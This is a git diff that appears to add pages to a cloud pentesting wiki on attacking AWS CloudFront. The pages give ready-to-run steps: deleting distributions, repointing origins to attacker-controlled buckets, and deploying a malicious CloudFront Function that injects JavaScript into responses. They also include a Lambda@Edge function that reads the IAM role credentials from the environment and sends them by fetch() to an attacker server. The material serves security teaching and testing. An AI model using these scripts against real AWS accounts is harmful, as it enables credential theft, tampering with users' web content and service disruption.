diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3082cb521..9a00850ed 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -302,6 +302,7 @@ - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md) - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md) + - [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md) - [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index 0e989a76e..5cfef78b7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -10,6 +10,17 @@ For more information check: ../../aws-services/aws-cloudfront-enum.md {{#endref}} +### `cloudfront:Delete*` +An attacker granted cloudfront:Delete* can delete distributions, policies and other critical CDN configuration objects — for example distributions, cache/origin policies, key groups, origin access identities, functions/configs, and related resources. This can cause service disruption, content loss, and removal of configuration or forensic artifacts. + +To delete a distribution an attacker could use: + +```bash +aws cloudfront delete-distribution \ + --id \ + --if-match +``` + ### Man-in-the-Middle This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md new file mode 100644 index 000000000..621b8c768 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -0,0 +1,225 @@ +# AWS - CloudFront Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` + +An attacker who has cloudfront:UpdateDistribution and cloudfront:GetDistributionConfig permissions can modify a CloudFront distribution’s configuration. They don’t need permissions on the target S3 bucket itself, although the attack is easier if that bucket has a permissive policy that allows access from the cloudfront.amazonaws.com service principal. + +The attacker changes a distribution’s origin configuration to point to another S3 bucket or to a server controlled by the attacker. First they fetch the current distribution configuration: + +```bash +aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json +``` + +Then they edit current-config.json to point the origin to the new resource — for example, a different S3 bucket: + +```bash +... +"Origins": { + "Quantity": 1, + "Items": [ + { + "Id": "", + "DomainName": ".s3.us-east-1.amazonaws.com", + "OriginPath": "", + "CustomHeaders": { + "Quantity": 0 + }, + "S3OriginConfig": { + "OriginAccessIdentity": "", + "OriginReadTimeout": 30 + }, + "ConnectionAttempts": 3, + "ConnectionTimeout": 10, + "OriginShield": { + "Enabled": false + }, + "OriginAccessControlId": "E30N32Y4IBZ971" + } + ] +}, +... +``` + +Finally, apply the modified configuration (you must supply the current ETag when updating): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ + --id \ + --distribution-config file://current-config.json \ + --if-match $CURRENT_ETAG + ``` + +### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction` +An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions. + +The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses: + +```bash +function handler(event) { + var request = event.request; + var response = event.response; + // Create a new body with malicious JavaScript + var maliciousBody = ` + + + + Compromised Page + + +

Original Content

+

This page has been modified by CloudFront Functions

+ + + + `; + // Replace the body entirely + response.body = { encoding: "text", data: maliciousBody }; + // Update headers + response.headers["content-type"] = { value: "text/html; charset=utf-8" }; + response.headers["content-length"] = { + value: maliciousBody.length.toString(), + }; + response.headers["x-cloudfront-function"] = { value: "malicious-injection" }; + return response; +} +``` + +Commands to create, publish and attach the function: + +```bash +# Create the malicious function in CloudFront +aws cloudfront create-function --name malicious-function --function-config '{ + "Comment": "Malicious CloudFront Function for Code Injection", + "Runtime": "cloudfront-js-1.0" +}' --function-code fileb://malicious-function.js + +# Get the ETag of the function in DEVELOPMENT stage +aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text + +# Publish the function to LIVE stage +aws cloudfront publish-function --name malicious-function --if-match +``` + +Add the function to the distribution configuration (FunctionAssociations): + +```bash +"FunctionAssociations": { + "Quantity": 1, + "Items": [ + { + "FunctionARN": "arn:aws:cloudfront:::function/malicious-function", + "EventType": "viewer-response" + } + ] +} +``` + +Finally update the distribution configuration (remember to supply the current ETag): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG +``` + +### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution` + +An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required. + +The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials: + +```bash +// malicious-lambda-edge.js +exports.handler = async (event) => { + // Obtain role credentials + const credentials = { + accessKeyId: process.env.AWS_ACCESS_KEY_ID, + secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, + sessionToken: process.env.AWS_SESSION_TOKEN, + }; + // Send credentials to attacker's server + try { + await fetch("https:///steal-credentials", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(credentials) + }); + } catch (error) { + console.error("Error sending credentials:", error); + } + if (event.Records && event.Records[0] && event.Records[0].cf) { + // Modify response headers + const response = event.Records[0].cf.response; + response.headers["x-credential-theft"] = [ + { + key: "X-Credential-Theft", + value: "Successful", + }, + ]; + return response; + } + return { + statusCode: 200, + body: JSON.stringify({ message: "Credentials stolen" }) + }; +}; +``` + +```bash +# Package the Lambda@Edge function +zip malicious-lambda-edge.zip malicious-lambda-edge.js + +# Create the Lambda@Edge function with a privileged role +aws lambda create-function \ + --function-name malicious-lambda-edge \ + --runtime nodejs18.x \ + --role \ + --handler malicious-lambda-edge.handler \ + --zip-file fileb://malicious-lambda-edge.zip \ + --region + +# Publish a version of the function +aws lambda publish-version --function-name malicious-lambda-edge --region +``` + +Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version: + +```bash +"LambdaFunctionAssociations": { + "Quantity": 1, + "Items": [ + { + "LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1", + "EventType": "viewer-response", + "IncludeBody": false + } + ] +} +``` + +```bash +# Apply the updated distribution config (must use current ETag) +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ + --id \ + --distribution-config file://current-config.json \ + --if-match $CURRENT_ETAG + +# Trigger the function by requesting the distribution +curl -v https://.cloudfront.net/ +``` + +{{#include ../../../../banners/hacktricks-training.md}} + + +